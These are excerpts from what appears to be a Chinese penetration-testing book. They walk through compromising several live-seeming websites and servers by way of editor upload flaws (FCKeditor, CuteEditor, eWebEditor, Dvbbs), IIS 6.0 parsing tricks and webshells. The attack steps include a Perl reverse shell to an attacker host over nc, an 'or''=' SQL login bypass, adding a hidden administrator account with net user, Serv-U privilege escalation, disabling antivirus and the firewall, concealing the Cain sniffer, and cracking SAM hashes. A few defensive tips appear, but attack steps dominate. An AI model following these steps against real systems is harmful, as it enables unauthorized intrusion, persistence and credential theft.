    {"text": "1．查看内网计算机 在DOS窗口中输入“net view”命令，查看该服务器上相邻计算机的情况，如图3-111所示，包括本机在内共有4台计算机。 运行“ipconfig/all”命令查看该计算机的网络配置及IP地址分布情况，该服务器采用NAT方式，映射内网IP地址到外网，提供Web服务。 图3-111 查看内网情况 2．实施内网渗透 在使用脚本上传文件时发现，文件一上传就找不到了，上传了好几次都是如此，看来该服务器上存在强力杀毒软件。 如图3-112所示，打开“服务”管理器，找到杀毒软件所在服务，在本例中显示的服务名称为“McAfee Framework服务”，将其停止即可，然后上传工具软件。 图3-112 停止杀毒软件服务 3．内网渗透失败 使用NTScan内网口令扫描程序在内网进行扫描，内网口令扫描无直接结果。 4．再次查看计算机情况 在“Program Files”（程序）目录中可以看到，系统已经安装过Cain嗅探工具。 如图3-113所示，通过程序名称“Cain_cn”可以知道该主机可能有国内用户“访问”过。 图3-113 获取Cain安装目录 5．获取网站用户管理登录口令 Cain是一款口令嗅探工具，使用Cain监听后，会自动在该程序安装目录中生成相应的LST文件。"},
    {"text": "例如，HTTP嗅探结果会保存为http.lst，将http.lst修改为http.txt，然后打开该文件，从中可以看到网站传输的用户名和加密后的MD5值，如图3-114所示。 图3-114 查看Cain嗅探HTTP结果 技巧 （1）要想查看Cain嗅探结果，只需要到Cain安装目录下查看是否存在LST文件即可。"},
    {"text": "（2）安装Cain时，安装程序选择一个不容易发现的目录，安装完毕后，将安装目录移动到其他程序目录中，然后删除程序菜单中有关Cain的快捷方式，就可以达到隐藏的目的。 （3）运行Cain时，可以将其设置为隐藏模式。 这样，即使是管理员登录系统，如果不仔细检测，也不容易发现服务器被安装了Cain，此时只有通过使用自定义的快捷键才能打开Cain的操作界面。"},
    {"text": "在Cain安装目录下找到Cain.exe程序，双击运行，如图3-115所示，可以比较直观地看到Cain的修改结果，FTP与SMB监听的结果为1条，HTTP监听的结果为145条，HTTP监听的结果显示为用户gxr的登录密码和相关网页操作。"},
    {"text": "后面还会使用360安全卫士清理启动选项等，对该服务器进行简单加固。 图3-116 使用“360安全卫士”进行简单加固 2．使用杀毒软件清除系统中的病毒 使用McAfee杀毒软件对系统中的磁盘进行扫描处理，如图3-117所示，发现系统中存在一些病毒，该文件所在目录为一个FTP匿名登录目录，可以猜测是入侵者利用社会工程学进行了挂马。 图3-117 使用杀毒软件进行杀毒 3.7.6 小结 本次安全检测仅仅通过扫描FTP、MySQL及MSSQL弱口令就获取了某职业学校的控制权限，如果有时间和耐心，应该可以渗透该内部网络。"},
    {"text": "本次安全检测的关键就是通过CuteFTP 8.0 Professional获取了该网站的一些关键文件，包括WebShell，直接通过Serv-U提升权限成功，进而成功控制了系统。"},
    {"text": "• 对系统进行杀毒、木马检测、端口查看、网络连接等安全检查。 • 对网站代码进行安全检测，查看代码中是否包含后门和木马代码。 • 安装防火墙并及时升级系统防火墙和系统补丁。"},
    {"text": "3.8 使用WATScan进行Web安全扫描 目前有很多安全公司提供在线Web安全扫描服务，如360在线安全扫描webscan.360.cn，但扫描必须由站长本人进行，因此，在安全检测中不是特别方便。 而WATScan（中文名为“真眼”互联网安全扫描系统）是一款在线Web漏洞扫描系统，它简单实用，只需要注册即可进行网站扫描。 目前，WATScan能够检测常见的Web漏洞，如SQL注入、XSS跨站、文件包含和命令执行等，帮助用户完成渗透测试过程中的信息收集、暴力破解和漏洞检测工作。"},
    {"text": "同时，由于该扫描器的可扩展性极强，可以通过编写对应的漏洞检测插件来丰富扫描器的检测效果，漏洞库更新频率高，在渗透过程中使用它偶尔会有意外的收获。"},
    {"text": "01 创建任务 首先在http://www.watscan.com/teye网站注册账号，然后利用注册的账号进行登录，输入目标信息，创建扫描任务，如图3-118所示。 图3-118 创建扫描任务 02 设置网站扫描类型 在任务列表中找到刚刚创建的任务，在“扫描操作”列单击“网站扫描”按钮，如果是移动APP则单击“移动扫描”按钮，如图3-119所示。 图3-119 选择网站扫描类型 接着，在“网站任务”页面输入需要进行扫描的网站地址，单击“提交扫描”按钮开始扫描，如图3-120所示。 图3-120 设置扫描网站地址 3.8.2 查看报告 WATScan会自动进行网站扫描，当扫描完成后，单击“报告”按钮即可查看网站的扫描报告，如图3-121所示。 图3-121 网站漏洞扫描报告 切换到“漏洞扫描”选项卡，还可以看到漏洞扫描的详细结果，如图3-122所示。 图3-122 详细扫描结果 第4章 常见文件上传漏洞及利用 在网站系统中，文件上传是一个非常实用的功能。"},
    {"text": "文件上传漏洞主要有以下几种类型。 • 任意文件上传漏洞。 找到上传页面后，可以上传任意后缀的文件，找到该漏洞后直接上传WebShell的木马即可。 • 利用IIS文件解析漏洞上传图片等文件构造一句话木马。 • 利用文件编辑器的漏洞上传文件。 • 通过其他抓包软件抓包，构造文件上传漏洞。 通过SQL注入等漏洞拿到后台权限后，一个重要的步骤就是寻找上传功能模块。 通过文件上传漏洞可以获取WebShell，获取WebShell后可以进一步提权。 可以说，很多Web系统都是通过文件上传漏洞失陷的。"},
    {"text": "本章主要内容 利用FCKeditor漏洞渗透某Linux服务器 利用Flash上传漏洞渗透国内某服务器 由CuteEditor漏洞利用到全面控制服务器 Dvbbs 8.2插件上传漏洞利用 利用cfm上传漏洞渗透某服务器 eWebEditor编辑器漏洞攻击案例 密码绕过获取某站点的WebShell 利用eWebEditor漏洞渗透某学校服务器 对某网站的一次渗透 4.1 利用FCKeditor漏洞渗透某Linux服务器 FCKeditor是一个专门用在网页上的、开放源代码的所见即所得文字编辑器，不需要太复杂的安装步骤即可使用。"},
    {"text": "很多网站都在使用FCKeditor在线编辑器，目前最新版本为3.0.1。 FCKeditor编辑器的早期版本由于过滤不严格、安全意识较差等原因，出现了多个漏洞，攻击者主要通过文件上传获取WebShell。"},
    {"text": "• IIS 6.0文件解析漏洞上传一句话木马或者WebShell。 IIS 6.0中存在一个文件解析漏洞，在以“*.asp”文件命名的目录下，即使突破文件，也能被解析执行。"},
    {"text": "获取FCKeditor的安装路径后，可以浏览或者上传文件。 例如，在早期版本中输入地址“fckeditor/editor/filemanager/browser/default/browser.html?Type=ImageConnector= connectors/asp/connector.asp”，可以直接上传文件。"},
    {"text": "通过Google搜索“阿呆JSP WebShell”，会找到一个JSP网页地址，如图4-1所示，凭感觉可以知道第一个搜索记录就是一个WebShell地址。 图4-1 搜索WebShell 02 验证WebShell 直接打开第一条搜索记录，获取真实的网站地址“http://www.xxxxx.com/UserFiles/Image/IMG 20090817235411840.jsp”，打开后能够正常运行。"},
    {"text": "从该地址来看，很像FCKeditor编辑器，直接在网站地址后加上“FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector”并打开，如图4-3所示，直接打开了我们熟悉的FCKeditor上传页面。 图4-3 打开FCKeditor上传页面 说明 FCKeditor编辑器的典型目录结构如图4-4所示，本例中的“UserFiles/Image/”就属于这种结构。 图4-4 FCKeditor编辑器的典型目录结构 04 上传WebShell 在FCKeditor中，单击“浏览”按钮，选择一个JSP的WebShell文件，然后单击“Upload”按钮上传，如图4-5所示，上传成功。 图4-5 上传WebShell 技巧 （1）在上传时，可以先选择“Create New Folder”选项创建一个文件夹。"},
    {"text": "（4）在“browser.html?Type=Image”中，Type有File、Flash和Image 3种类型，可以在地址中进行修改，用来上传或者查看文件、Flash文件和图像文件。 （5）关于各种版本的FCKeditor，上传利用地址形式如下： FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors • JSP版本：/jsp/connector • ASP版本：/asp/connector • ASPX版本：/aspx/connector • cfm版本：/cfm/connector 4.1.2 测试上传的WebShell 由于FCKeditor的典型目录结构是“UserFiles/Image/”，因此，上传的WebShell地址格式为“UserFiles/Image（File或Flash）/+文件名称”。 在本例中上传到Flash文件目录，所以实际地址为“http://www.xxxxx.com/UserFiles/Flash/Browser.jsp”。"},
    {"text": "如图4-6所示，WebShell能够正常运行，此时就可以利用WebShell进行下载、上传、删除、复制及执行命令等操作。 图4-6 测试上传的WebShell 4.1.3 分析与收集WebShell所在服务器的信息 01 获取服务器类型 在获取WebShell后，可以通过它执行命令，查看服务器的配置情况。"},
    {"text": "图4-7 获取服务器类型 02 下载网站源代码与数据 渗透能够快速提高个人能力。 在渗透成功后，通过下载网站源代码与数据到本地进行分析，能够取长补短，快速积累经验。"},
    {"text": "通过WebShell的地址反查文件的实际地址，使用cat命令可以查看其登录密码，如“cat home/webhome/xxxxx.com/WEB-INF/webapps/ROOT/UserFiles/Image/IMG20090817235411840.jsp”，如图4-9所示，获取其密码为“191903***”。 图4-9 获取WebShell的密码 4.1.4 服务器提权 01 查看Linux版本 在WebShell中，执行“uname-a”命令获取Linux的版本，结果显示为“Linux java.pumo.com.tw 2.6.9-11.ELsmp #1 SMP Fri May 20 18:26:27 EDT 2005 i686 i686 i386 GNU/Linux”，如图4-10所示，说明该服务器的内核为2.6.9-11版本。"},
    {"text": "图4-10 获取Linux内核版本 目前，Linux稳定的最新内核版本为2.6.32（Linux最新内核版本查看地址为http://kernel.org/pub/linux/kernel/v2.6/）。"},
    {"text": "02 查看操作系统 “/etc/issue”命令主要用于显示操作系统发行版本等信息，用户可以定制issue，也就是说，可以手动修改，如果未修改则默认显示各个操作系统的版本信息。 如图4-11所示，使用“cat/etc/issue”命令查看该操作系统的版本信息，该操作系统为红帽Linux企业版。"},
    {"text": "图4-11 获取操作系统的版本 03 反弹Shell 将反弹脚本c.pl上传到“/var/tmp”路径下，然后在受控计算机（肉机）上执行“nc-vv-l-p53”命令，再在该WebShell中执行“perl/var/tmp/c.pl 202.102.xxx.xxx 53”命令，如图4-12所示，将该服务器反弹到肉机（202.102.xxx.xxx）的53端口上。"},
    {"text": "图4-13 成功反弹 04 尝试提权 通过WebShell上传最新的Sendpage3利用程序，上传成功后，在反弹的Shell中查看上传的程序，然后直接执行“./run”命令，如图4-14所示，直接提权为root用户权限。 图4-14 提权成功 4.1.5 总结与思考 本例通过FCKeditor漏洞成功获取WebShell，然后通过查看Linux版本、操作系统的发行版本等信息，上传相应的漏洞利用程序，最后通过在反弹的终端执行exploit获得系统的最高权限。"},
    {"text": "4.2 渗透某培训服务器 本次渗透是临危受命：站点被人“黑”了，网站多次被挂马，想看看问题到底出在哪里，于是有了本次的渗透测试和安全检测。"},
    {"text": "4.2.1 使用JSky进行漏洞扫描 直接打开JSky Web漏洞扫描工具，输入需要检测的网站地址，接着按照默认设置进行扫描，最后就是等待具体的扫描结果。"},
    {"text": "该后台中有个人管理、栏目管理、下载管理、信息管理、客户管理和系统功能6个模块，凭借经验，下载管理和信息管理模块是获取WebShell的重点对象。"},
    {"text": "图4-16 进入后台 4.2.3 直接上传WebShell 展开下载管理模块，单击“文件上传”选项，如图4-17所示，在下拉列表中分别选择“资源下载”和“系统分析”选项，直接选择一个后缀为“asa”的WebShell文件，单击“上传”按钮上传——非常幸运，系统未对文件进行限制，文件上传成功！"},
    {"text": "图4-17 上传WebShell 4.2.4 获取WebShell 在浏览器地址栏中输入上传的WebShell地址，如图4-18所示，成功获取网站的WebShell。 图4-18 获取WebShell 4.2.5 服务器提权 通过WebShell对程序目录进行浏览，发现网站所在服务器安装了Serv-U。"},
    {"text": "进入Serv-U的路径“c:\\Program Files\\Rhinosoft.com\\Serv-U”，然后单击Serv-U提权，系统会默认添加一个用户名称为“wang$”、密码为“188”的管理员账户，如图4-19所示。"},
    {"text": "图4-19 添加管理员账户 4.2.6 登录服务器 通过NMap端口扫描软件对该网站所在的IP地址进行端口扫描，发现该服务器的远程终端服务端口为3389。 使用远程终端连接器进行远程登录，使用刚才添加的管理员账户尝试登录，如图4-20所示，成功登入该服务器，获得服务器权限。"},
    {"text": "图4-20 获得服务器权限 4.2.7 抓取系统密码并破解 使用SAMInside直接抓取系统的Hash密码，然后将获取的Hash密码导入Ophcrack中进行破解，如图4-21所示，成功破解Administrator账户的密码。"},
    {"text": "图4-21 抓取系统密码并破解 4.2.8 总结与思考 尽管该网站安装了Serv-U软件，但安装后应该对其进行降权处理，这样，即使攻击者获得了WebShell，也无法提权并获得服务器权限。"},
    {"text": "4.3.1 利用弱口令进入系统 凭借经验，直接获取后台地址“http://www. * * * * * * * .com.cn/admin/login.asp”，如图4-22所示。 在“用户名”文本框中输入“admin”，在“密码”文本框中输入“admin”，同时输入页面上显示的验证码，单击“进入”按钮进行登录测试，如图4-23所示，成功进入系统。"},
    {"text": "该系统主要用在首页滚动图片上，如图4-24所示，一共提供了5幅图片进行轮换，用户可以对每一幅图片进行管理，可以设置图片的链接地址、图片文件的具体位置及图片的简单描述。"},
    {"text": "开始时笔者使用的是IE浏览器，后面使用Firefox浏览器以便获取WebShell的实际地址。 图4-26 上传WebShell成功 也可以通过查看页面源代码获取WebShell的实际地址，如“flash_images/2009102611432135 519.asp”。 如图4-27所示，在网页源代码中包含了WebShell的实际地址和文件名。"},
    {"text": "图4-27 通过查看源代码获取WebShell地址 4.3.3 获取WebShell 在浏览器的地址栏中输入WebShell的地址“http://www.xxxxxxx.com.cn/flash_images/20091110 21591092019.asp”，输入密码，验证通过，成功获取该网站的WebShell，如图4-28所示。"},
    {"text": "图4-28 获取WebShell 4.3.4 服务器提权 通过WebShell对系统的硬盘和文件进行详细查看，如图4-29所示，系统使用了Serv-U，因此可以尝试通过Serv-U提升权限。"},
    {"text": "图4-29 获取Serv-U的具体地址 图4-30 使用ASP.NET提权 4.3.5 获取管理员密码 使用账户“1”登录系统，通过IE直接下载SAMInside软件，获取系统的Hash值，通过破解系统账号获取了管理员的密码，如图4-31所示，再次换用管理员账户登录系统。"},
    {"text": "图4-31 使用管理员的密码登录系统 4.3.6 相邻服务器的渗透 在该服务器上安装Cain之后，进行Sniffer，如图4-32所示，可以嗅探到附近服务的POP3登录密码。"},
    {"text": "• 对统计系统的注入：现在，越来越多的系统的主系统中并不存在什么漏洞，但是其插件和一些辅助系统中可能存在漏洞，如果这些插件和辅助系统和主系统使用了同一个数据库，在存在SQL注入漏洞的情况下，就可以顺利获取WebShell。"},
    {"text": "4.4 由CuteEditor漏洞利用到全面控制服务器 网络渗透测试就是利用所有的手段进行测试，发现和挖掘系统中存在的漏洞，然后撰写渗透测试报告，将其提供给客户；"},
    {"text": "4.4.1 漏洞扫描 01 扫描漏洞 打开JSky Web漏洞扫描器，新建一个扫描任务，输入要扫描的地址“http://www. * * * * * .com”，然后开始进行扫描。"},
    {"text": "图4-34 使用JSky扫描网站 02 测试网站目录访问 将地址“http://www.xxxxxxx.com/admin”复制到IE浏览器的地址栏中进行测试，看看能否实际访问该地址。"},
    {"text": "图4-35 测试页面是否存在 说明 对存在的目录进行实际访问，主要是看系统是否存在一些报错等提示信息，然后可以对这些信息再次进行分析和利用，为渗透提供一些判断和支持。 03 使用社会工程学进行登录测试 在如图4-35所示页面的“用户名”文本框中输入“admin”，在“密码”文本框中输入一些常见的密码进行测试——三试两试就进入了系统，如图4-36所示，页面比较简洁。"},
    {"text": "图4-38 修改管理员密码 02 获取该网站所在服务的所有其他域名 在IE浏览器的地址栏中输入“http://www.ip866.com/reverse.aspx?domain=www.rain* *.com”，打开“反查域名”页面，单击“点这里反查全部相关域名”选项，如图4-39所示，在该服务器中一共有9个域名。"},
    {"text": "图4-39 查询域名绑定情况 4.4.3 扫描相邻网站漏洞 任选服务器中的一个域名，在JSky中进行扫描，如图4-40所示，出现了8个SQL注入点——对于渗透测试人员来说，没有什么是比发现有漏洞更为高兴的事情了。 图4-40 获取SQL注入点 4.4.4 SQL注入手工测试 在扫描结果的SQL注入点列表中选择一个地址，在浏览器中打开，并手工加入一些测试SQL注入点的代码，结果出现如图4-41和图4-42所示的防注入提示和记录信息。"},
    {"text": "图4-41 系统使用了Flashack防注入系统 图4-42 防注入记录系统 4.4.5 获取数据库类型 继续测试，将ID值换成一个“数字+字母”类型的值，结果出现数据库出错提示。"},
    {"text": "图4-43 通过出错信息获取网站数据的类型 说明 现在很多防注入系统都对and、exe等关键字进行了过滤，但对传入值的范围并没有进行严格的限制，因此，可以通过变换值出错获取一些信息。"},
    {"text": "4.4.7 通过CuteEditor上传获得突破 由于IIS 6.0中存在一个文件解析路径漏洞，当文件夹名类似“xxx.asp”时（即文件夹名看起来像一个ASP文件的文件名），此文件夹下文本类型的文件都可以在IIS中被当做ASP程序执行。"},
    {"text": "<configuration> <security name=\"RestrictUploadedImageDimension\">false</security> <security name=\"OverWriteExistingUploadedFile\">false</security> <security name=\"AutoResizeUploadedImages\">true</security> <security name=\"MaxImageWidth\">1024</security> <security name=\"MaxImageHeight\">768</security> <security name=\"MaxImageSize\">1000</security> <security name=\"MaxMediaSize\">100</security> <security name=\"MaxFlashSize\">100</security> <security name=\"MaxDocumentSize\">10000</security> <security name=\"MaxTemplateSize\">1000</security> <security name=\"ImageGalleryPath\">~/uploads</security> <security name=\"MediaGalleryPath\">~/uploads</security> <security name=\"FlashGalleryPath\">~/uploads</security> <security name=\"TemplateGalleryPath\">~/templates</security> <security name=\"FilesGalleryPath\">~/uploads</security> <security name=\"MaxImageFolderSize\">102400</security> <security name=\"MaxMediaFolderSize\">102400</security> <security name=\"MaxFlashFolderSize\">102400</security> <security name=\"MaxDocumentFolderSize\">102400</security> <security name=\"MaxTemplateFolderSize\">102400</security> <security name=\"ThumbnailWidth\">80</security> <security name=\"ThumbnailHeight\">80</security> <security name=\"ThumbnailColumns\">5</security> <security name=\"ThumbnailRows\">3</security> <security name=\"AllowUpload\">true</security> <security name=\"AllowModify\">true</security> <security name=\"AllowRename\">true</security> <security name=\"AllowDelete\">true</security> <security name=\"AllowCopy\">true</security> <security name=\"AllowMove\">true</security> <security name=\"AllowCreateFolder\">true</security> <security name=\"AllowDeleteFolder\">true</security> </configuration> 从上面的代码中可以看出，如果用户具有管理员权限，就可以建立目录，也就是说，在某种情况下，完全可以利用IIS文件目录解析漏洞获得WebShell。"},
    {"text": "图4-45 打开“Insert Media”对话框 02 新建simeon.asp文件夹 在“Insert Media”对话框中可以发现一个用于新建文件夹的图标，如果该图标是灰色的，那我们就无能为力了。 如图4-46所示，新建一个名为“simeon.asp”的文件夹，文件夹创建成功后如图4-47所示。 图4-46 新建simeon.asp文件夹 图4-47 成功创建simeon.asp文件夹 03 上传测试和木马文件 单击“simeon.asp”文件夹图标，进入该文件夹，然后上传一个HTML文件。"},
    {"text": "图4-48 上传测试和木马文件 注意 （1）在CuteEditor中，ImageFilters负责对图片进行过滤，仅允许上传JPG、JPEG、GIF和PNG文件，在admin.config中进行配置。 （2）在CuteEditor中，MediaFilters负责对媒体进行过滤，仅允许使用AVI、MPG、MPEG和MP3 4种媒体文件，也是在admin.config中进行配置。"},
    {"text": "04 连接测试ASP.NET的一句话木马 在本地打开ASP.NET一句话木马客户端，输入连接地址和密码，出现如图4-49所示的错误。 图4-49 ASP.NET一句话木马运行出错 05 使用ASP一句话木马 上传一个包含一句话木马的Flash文件，如图4-50所示，进行连接测试，最终成功连接。"},
    {"text": "图4-53 执行免杀大马 04 使用Serv-U提升权限 通过该WebShell对服务器进行挖掘，发现服务器上安装了Serv-U，路径是在D盘的程序目录下。"},
    {"text": "直接单击WebShell左边菜单中的“Serv-U提权”选项，在如图4-54所示的窗口中单击“提交”按钮，默认直接添加一个用户名为“user13$”、密码为“pass13”的具有管理员权限的账户。"},
    {"text": "图4-54 将管理员账号添加到系统中 cmd /c net user user13$ ***** /add & net localgroup administrators user13$ /add 05 查看提权情况 上传一个WebAdmin 2.x的ASPX的WebShell，在“Command”文本框中输入“net localgroup administrators”，单击“Run”按钮，查看系统管理员组的用户情况，如图4-55所示，已经成功添加用户。 图4-55 成功添加用户到管理员组 06 成功进入远程桌面 通过WebShell找到对方服务器开放3389的修改后端口8080，在本地打开远程终端连接器，输入“www.xxxx.com:8080”进行连接，如图4-56所示，成功进入对方桌面。"},
    {"text": "• 对于那些允许注册账号的网站来说，在编写网站程序的时候，为了管理方便，程序员通常会以注册的用户名为名称建立一个文件夹，用以保存该用户的数据，如图片、文字等。"},
    {"text": "入侵者就是利用这一特点，在网站注册一个以“．”或者“.cer”等后缀作为用户名的账号，然后通过把含有木马的ASP文件的“.asp”后缀改成“.jpg”等方法，把文件上传到服务器，由于IIS 6.0存在漏洞，所以JPG文件可以通过IIS 6.0运行，木马也随着运行，达到了攻击网站的目的。"},
    {"text": "这种情况下，可以由程序员对注册用户名称进行限制，排除带有“*.asp”、“*.asa”等字符为名的注册名，加强网站自身的安全和防范措施。"},
    {"text": "很多网站都允许用户上传一定数量的图片、Flash等，很多时候，网站开发人员为了日后管理方便，会将用户上传的文件统一放到一个指定的文件夹中，网站管理员只要将该文件夹的执行权限设置成“无”，就可以在一定程度上对漏洞进行预防。"},
    {"text": "• 网站的管理员密码的安全性不能太低，如果通过一些简单的猜测就能破解，那么即使程序本身和网站系统没有漏洞，也会导致整个系统的崩溃。"},
    {"text": "4.5 Dvbbs 8.2插件上传漏洞的利用 笔者在整理Dvbbs历来的漏洞及利用方法时，发现有人在网上贴出了Dvbbs 8.2插件上传漏洞的利用方法，但讲得不是很明白。"},
    {"text": "Dvbbs（动感论坛）的新版本已经在安全性方面有了很大的提高，即使入侵者拿到了管理员权限，也无法上传Shell。 新版本的Dvbbs通过取消数据库备份功能来换取新系统的安全，对数据上传过滤得特别严格，Dvbbs 8.2及之后的版本尤甚，且目前没有特别好的攻击方法。"},
    {"text": "图4-58 注册用户 03 修改样式 使用注册的用户成功登录论坛后，单击论坛工具栏上的“我的主页”选项，进入个人主页配置页面，然后单击“个人空间管理”标签，在基本设置中给现有的“空间标题”和“简介说明”随便起一个名字，如图4-59所示，然后单击“保存设置”按钮。"},
    {"text": "单击“自定义风格”按钮，在“样式风格CSS修改”文本框中输入任意字符，如图4-60所示，然后单击“保存设置”按钮完成修改。 图4-59 修改基本设置 图4-60 修改样式风格CSS 注意 （1）有些论坛需要用户自己激活个人主页，在激活前单击“自定义”按钮后保存，即可开通个人主页。"},
    {"text": "04 无上传界面的处理 在“个人空间管理”页面单击“自定义风格”按钮，然后单击“文件管理”按钮，会弹出一个风格模板的文件管理窗口，如图4-61所示。"},
    {"text": "在本次渗透中，虽然出现了文件管理页面，但未出现上传界面，说明管理员或者前期渗透人员删除了上传模块，这时，攻击者只能重新选择一个目标进行渗透。 图4-61 无上传界面 说明 在实际渗透测试过程，还会出现访问文件管理模块时无权限的情况，这是因为有人做了限制，去掉或者限制文件上传的权限。"},
    {"text": "05 成功上传文件 找到一个可以成功测试的论坛，如图4-62所示，选择一个一句话木马文件，将其命名为“1.asp; 1.jpg”，然后直接上传即可。"},
    {"text": "如果系统没有安装杀毒软件或者采取其他防范措施，一般都会出现刚才上传的一句话木马，且图片将无法显示。 图4-62 成功上传一句话木马 4.5.2 获取WebShell 01 使用一句话客户端进行连接 使用lake2EvalClient进行连接，在“The URL”文本框中输入图片的地址，在“Password”文本框中输入一句话木马的连接密码，在本例中是“cmd”，然后在“Function”（功能）下拉列表中选择一个模块，如图4-63所示，单击“Send”按钮，即可查看具体执行效果。"},
    {"text": "图4-63 设置一句话木马客户端 图4-64 磁盘使用情况 02 获取网站的物理路径 在功能模块中选择“Server Variable”选项，获取服务器和用户的一些基本信息，如图4-65所示，一句话木马的路径为“F:\\www\\hatsg.com\\bbs\\skins\\myspace\\userskins\\skin_14\\”。"},
    {"text": "图4-69 下载数据库 4.5.3 Dvbbs 8.2渗透思路与防范措施 根据本例可以得到Dvbbs 8.2的渗透思路与防范措施。 1．渗透思路 • 下载Dvbbs 8.2的Database和Boke的默认地址分别为data/Dvbbs8.mdb和boke/data/Dvboke.mdb，下载后可以通过查询破解16位的MD5密码进入后台。"},
    {"text": "• 取消上传图片的目录的脚本执行权限，或者暂时禁用将文件上传模块。 • 规范上传脚本的代码，校验上传的图片和文件中的代码段，或者关闭论坛后台上传功能。"},
    {"text": "4.6.1 获取后台权限 01 手工查找和自动扫描漏洞 在漏洞寻找上，每个人都有自己的习惯和经验，有的人喜欢纯手工进行，有的人喜欢使用工具扫描，有的人喜欢将两者结合，但所有的目的只有一个，那就是找到漏洞。"},
    {"text": "图4-70 获取SQL注入漏洞 02 获取管理员用户名称和密码 虽然获取的SQL注入漏洞无法利用Pangolin进行渗透测试，但可以使用“啊D注入工具”对该注入点进行猜测。 如图4-71所示，数据库为“****_nqcontent”，用户名为“nqcontent”，数据库权限为“db_owner”，根据SQL注入的一般步骤顺利获取了管理员的用户名和密码。"},
    {"text": "图4-71 获取管理员用户名和密码 03 进入后台 使用获取的用户名和密码成功登录系统，如图4-72所示，通过查看后台的各个功能模块，发现“Asset Management”中有上传模块（Upload）。"},
    {"text": "图4-72 获取上传模块 4.6.2 服务器提权 01 获取WebShell 通过测试，该上传模块允许上传cfm及图片文件。 上传一个cfm命令执行WebShell，如图4-73所示，上传后可以成功运行，权限较高时可以执行命令。"},
    {"text": "执行“lcx-slave 202.102.***.*** 443 192.168.50.180 3389”命令后，在本地不能进入服务器，通过查看发现，服务器启用了Windows自带的防火墙，对此可以通过停用防火墙（“net stop Sharedaccess”命令）或者添加允许端口绕过，如图4-74所示。 图4-74 关闭防火墙 03 成功登录3389端口 在本地执行“lcx-listen 3389 2008”命令，将3389端口重定向到本地的2008端口，运行MSTSC后使用127.0.0.1:2008进行连接，输入添加的管理员用户名和密码，成功进入系统，如图4-75所示。"},
    {"text": "图4-76 获取PHP参数配置信息 图4-77 导出MySQL数据库 02 渗透邮件服务器 通过3389端口登录Web服务器后，下载SAMInside，很快就获取了系统用户的密码，通过破解可以成功获取原系统用户的密码。"},
    {"text": "4.7 eWebEditor编辑器漏洞攻击案例 通过本案例可以学到以下内容。 • 了解eWebEditor漏洞 • 利用eWebEditor上传WebShell并实施控制 eWebEditor是一款著名的Web编辑器，由于功能强大，因此，很多网站都使用它作为编辑器。 eWebEditor安全风险最高的部分就是使用默认的eWebEditor编辑器进行配置，默认情况下，其数据库可以通过浏览器下载，一旦破解其eWebEditor后台管理账号和密码，则可以通过修改其样式管理达到上传ASP网页木马的目的，所以配置不当极有可能导致整个网站处于危险状态，在一定条件下攻击者还有可能完全控制提供该Web服务的服务器。 本节通过发现某公司的网站使用eWebEditor编辑器，通过下载数据库、破解密码、修改后台样式管理等方法成功上传WebShell。 4.7.1 eWebEditor编辑器漏洞发现和利用 01 发现站点使用eWebEditor编辑器 在浏览网页时，通过查看网页图片的属性，发现该图片地址中包含“eWebEditor”字样，如图4-79所示，因此怀疑该网站使用了eWebEditor编辑器。 图4-79 通过路径发现eWebEditor编辑器 技巧 在访问一些非自动生成HTML网页文件的网站时，查看图片的地址或者直接打开网页中的图片，如果发现其路径或者地址中存在“eWebEditor”字样，就可以推断该网站系统极有可能使用了eWebEditor编辑器。 02 下载eWebEditor的默认数据库文件 直接在浏览器地址栏中输入eWebEditor默认数据库文件的地址，将数据库下载到本地。"},
    {"text": "04 进入样式管理 输入用户名和密码，进入eWebEditor的后台管理界面，在其中选择“样式管理”选项，进入样式管理模块，如图4-80所示。 图4-80 进入样式管理模块 注意 在样式管理模块中，有多个与样式管理类似的界面，要找到有“提交”和“重填”按钮的管理界面，否则更改媒体类型后会发现无法对新设置进行更新。"},
    {"text": "05 修改上传文件的类型 在“允许上传文件类型及文件大小设置”设置区修改“其他类型”文本框中的内容，在原有内容的末尾添加“|asp”，单击“提交”按钮，使修改生效，如图4-81所示。 图4-81 修改上传文件的类型 4.7.2 获取WebShell权限 01 上传网页木马文件 回到产品后台管理界面，在“产品添加”文本框中输入一条记录，其中图片文件为ASP文件，该ASP文件即为网页木马文件，在其他需要输入值的地方随便填写，单击“确定”按钮完成文件的上传，如图4-82所示。 图4-82 上传木马文件 产品添加成功后，系统会自动指向产品后台管理界面。 在“产品管理”界面可以看到已经上传的ASP文件，如图4-83所示。 图4-83 成功上传的网页木马文件 02 实施控制 访问已经上传的ASP文件的地址，输入用户名和密码后可以进入WebShell管理中心，如图4-84所示，可以查看文件夹及文件，对文件进行编辑、删除等操作。 图4-84 进入WebShell管理中心 03 上传其他文件 由于第一个WebShell的功能较为简单，因此重新上传一个复杂一些且进行了免杀处理的ASP网页木马文件。 上传成功后，直接访问该WebShell的地址，如图4-85所示，该网页木马功能强大，可以进行批量挂马等操作。 图4-85 上传其他文件 4.7.3 获取信息和进一步控制 通过WebShell进一步收集提供该Web服务的服务器的各种信息，尝试进行进一步控制，获取系统的完全控制权。"},
    {"text": "4.7.4 小结 虽然利用eWebEditor编辑器漏洞进行攻击，可以成功上传WebShell并进行批量挂马等操作，但如果该服务器的安全权限设置比较合理，受影响的仅为使用eWebEditor的网站。"},
    {"text": "4.8 绕过后台密码渗透某服务器 前面介绍了很多上传和编辑器的利用方法，本节将介绍一种直接绕过验证进入后台，通过寻找上传地址并从代码等位置寻找提权的方法，直接获得服务器权限。 4.8.1 获取后台管理员权限 01 寻找并绕过后台登录验证 可以通过一些SQL注入工具获取后台管理员权限，也可以手工尝试访问后台地址进行登录。"},
    {"text": "在浏览器中打开后台登录页面，如图4-86所示，在“username”文本框中输入“'or''='”，在“Password”文本框中输入任意内容，单击“Login”按钮登录系统。"},
    {"text": "图4-86 寻找并绕过后台登录验证 技巧 （1）进入后台的常用方法是通过SQL注入点猜测管理员表，获取管理员的用户名和密码，从而进入系统。 （2）可以通过测试一些常用的后台验证登录绕过代码，以突破后台验证，从而直接进入后台。"},
    {"text": "但是在程序验证不严格的情况下，尤其是未对输入的数据进行安全验证、未过滤单引号的情况下，可以通过SQL语句绕过，如图4-87所示，显示用户“'or ''='”成功登录。"},
    {"text": "图4-87 成功登录后台 4.8.2 获取WebShell 01 寻找上传地址 对于网站后台来说，一般都会提供文件上传功能，通过查看各个功能模块获取上传模块或者页面。 如图4-88所示，找到一个上传数据的功能模块，单击“浏览”按钮，直接上传WebShell进行测试，测试结果表明后台对文件后缀进行了限制。"},
